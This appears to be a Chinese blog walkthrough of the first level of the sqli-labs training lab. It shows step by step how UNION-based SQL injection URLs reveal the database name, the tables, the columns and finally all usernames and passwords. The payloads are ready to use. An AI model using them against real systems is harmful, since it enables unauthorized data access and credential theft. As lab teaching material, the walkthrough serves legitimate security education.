sqli-labs-master第一关sql注入

文章参考了博客:https://blog.csdn.net/weixin_44932880/article/details/96589694
先了解一下数据库
先登录账户,输入密码
sqli-labs-master第一关sql注入_第1张图片
之后可以看到N个数据库
sqli-labs-master第一关sql注入_第2张图片
打开数据库可以看到N个表
sqli-labs-master第一关sql注入_第3张图片
每个表里还有N个字段
sqli-labs-master第一关sql注入_第4张图片除了用sql语句查看,当然也可以用MySQL等直接查看

开始步入正题

sql注入
url处先尝试着输入?id=1;
sqli-labs-master第一关sql注入_第5张图片再尝试?id=2;
sqli-labs-master第一关sql注入_第6张图片当尝试闭合url输入时
?id=1’
sqli-labs-master第一关sql注入_第7张图片报出如上错误,根据错误提示信息
the right syntax to use near ‘‘1’’ LIMIT 0,1’ at line 1
猜测后端可能是:where id‘用户输入’LIMIT 0,1
当用户直接输入*** ’时,造成了闭合
这时就需要url的注释符#(%23)来注释,有时#不能用,就要用到#的url编码%23
在与注释符#之间就可以进行sql注入,爆出我们想要的内容

又是硬核的知识:联合查询union
union后获取的内容条数与前面查询的列数必须相同
本题下一步就是获得回显个数
利用order by函数,及二分法快速测得列数为3
sqli-labs-master第一关sql注入_第8张图片硬核联合查询union来了
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2,database();%23

id=0则返回空,后面就返回select 1,2,database()的内容,即为1,2,security

security即为database()的返回就是指当前数据库的名字

可题目只显示了2,security 可知只有2与3两个回显位能看到
sqli-labs-master第一关sql注入_第9张图片

已经知道了当前的数据库名,接下来就是要爆出表名

接下来我们就可以利用information_Schema.tables获取security里的表格信息

127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1 ,2,group_concat(table_name) from information_Schema.tables where table_schema=‘security’;%23

这个group_concat()函数使表名按一行输出输出

接下来当然是字段了
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2 ,group_concat(column_name) from information_schema.columns %23
sqli-labs-master第一关sql注入_第10张图片这时细心一下的话,其实可以发现,这样会查出所有的字段,这样就会有很多无用的信息
可以用:
where%20table_name=%27users%27and%20table_schema%20=‘security’;
这样来达到精准的查询
完整的url为:
http://127.0.0.1/sqli-labs-master/Less-1/?id=0’ union select 1,2 ,group_concat(column_name) from information_schema.columns

where%20table_name=%27users%27and%20table_schema%20=‘security’;%23
sqli-labs-master第一关sql注入_第11张图片这是我们有了 用户名和密码的字段

是时候爆出我们想要的数据了:

http://127.0.0.1/sqli-labs-master/Less-1/?id=0' union select 1,group_concat(username) ,group_concat(password) from users ;%23

sqli-labs-master第一关sql注入_第12张图片
至此任务完成

再次感谢这位同学的帮助

你可能感兴趣的:(drops)